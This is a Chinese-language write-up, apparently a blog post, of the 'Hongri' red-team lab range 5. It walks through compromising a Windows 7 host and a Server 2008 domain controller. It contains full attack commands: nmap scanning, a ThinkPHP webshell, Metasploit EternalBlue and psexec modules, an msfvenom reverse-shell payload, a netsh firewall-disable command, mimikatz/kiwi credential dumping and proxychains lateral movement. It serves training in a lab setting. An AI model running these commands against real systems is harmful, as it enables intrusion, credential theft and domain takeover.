红日靶场5
原创
MyIsme
MyIsme
YunSee-Sec
2026年6月28日 20:10
湖北
在小说阅读器读本章
去阅读
红日靶场5
一共两个靶机 win7 and win server 2008
| 服务器 | 网卡模式 | ip |
|---|---|---|
| Win 7 | 桥接（外网）/ Vmnet2仅主机 | 192.168.0.114 /192.168.138.136 |
| Win server 2008 | Vmnet2仅主机 | 192.168.138.138 |
账户密码（win7有两个账户凭证）第一次登录需修改密码
| 服务器 | 账号 | 密码 |
|---|---|---|
| win7 | sun\heart | 123.com |
| win7 | sun\Administrator | dc123.com |
| win2008 | sun\admin | 2020.com |
win7 启动 phpstudy
开始信息收集 端口探测
强制 nmap 跳过 ICMP 存活检测，直接进行 TCP 端口扫描
nmap -sT --min-rate 10000 192.168.0.114 -p- -Pn
发现是ThinkPHP，也是通过无影扫到了11个漏洞
直接上工具，直接写入 getshell 通过蚁剑连接
权限还挺高，发现内网 192.168.138.0
这里上传 fscan + windows\_x64\_agent.exe 内网穿透隧道工具
打开代理软件，我这里使用的是 ProxyBridge.exe 进行 7777的端口转发设置
新版 fscan 是用 Go 1.21+ 编译的，而 Go 1.21+ 已经不支持 Windows 7 了
重新上传一个32位的fscan
可以看见 192.168.138.138 是台 win server 2008 的域控 并且还开放了 445端口
上线 msf 验证一下 是否真的存在 永恒之蓝漏洞
msfconsole
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.138.138
set proxies socks5:192.168.0.111:7777
run
直接上payload进行攻击
use exploit/windows/smb/ms17_010_eternalblue
set proxies socks5:192.168.0.111:7777
set RhOSTS 192.168.138.138
set lport 443
set payload windows/x64/meterpreter/bind_tcp
set AutoRunScript post/windows/manage/migrate
run
这里也是一直失败那么就不在浪费时间换一个方法，在windows 7 里通过 猕猴桃抓取 密码
在msfconsole 生成木马
msfvenom -p windows/meterpreter_reverse_tcp lhost=192.168.0.111 lport=5555 -f exe -o shell.exe
设置端口监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.0.111
set lport 5555
run
关闭一下防火墙
关闭所有防火墙配置文件（域/专用/公用）
netsh advfirewall set allprofiles state off
验证是否关闭成功
netsh advfirewall show allprofiles
查看一下 系统是否是 x64的，这里迁移一下进程，换成有system且为64位的程序
kiwi 模块默认以 32 位运行，直接用于 64 位系统会受限。在 64 位环境下，必须先使用 migrate 命令将 Meterpreter 迁移到 64 位进程中，然后再加载 kiwi 提取明文
migrate 492
creds_all：列举所有凭据
creds_kerberos：列举所有kerberos凭据
creds_msv：列举所有msv凭据
creds_ssp：列举所有ssp凭据
creds_tspkg：列举所有tspkg凭据
creds_wdigest：列举所有wdigest凭据
dcsync：通过DCSync检索用户帐户信息
dcsync_ntlm：通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create：创建黄金票据
kerberos_ticket_list：列举kerberos票据
kerberos_ticket_purge：清除kerberos票据
kerberos_ticket_use：使用kerberos票据
kiwi_cmd：执行mimikatz的命令，后面接mimikatz.exe的命令
lsa_dump_sam：dump出lsa的SAM
lsa_dump_secrets：dump出lsa的密文
password_change：修改密码
wifi_list：列出当前用户的wifi配置文件
wifi_list_shared：列出共享wifi配置文件/编码
尝试通过psexec横向移动
use exploit/windows/smb/psexec
set RHOSTS 192.168.138.138
set SMBDomain SUN
set SMBUser Administrator
set SMBPass Key-1122
set payload windows/x64/meterpreter/bind_tcp
set RHOST 192.168.138.138
set proxies socks5:192.168.0.111:7777
set LPORT 4444
exploit
这里没注意用错模块失败了，换一下
还是失败，换个方法
编辑 kali的 /etc/proxychains4.conf 监听端口
使用 proxychains 配合 impacket-psexec
proxychains impacket-psexec SUN/Administrator:[email protected]
使用已获取的域管理员凭据 SUN/Administrator 通过 psexec 横向移动至域控 192.168.138.138 windows server 2008，成功获得域控主机 NT AUTHORITY\SYSTEM 权限，至此完成域控接管
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论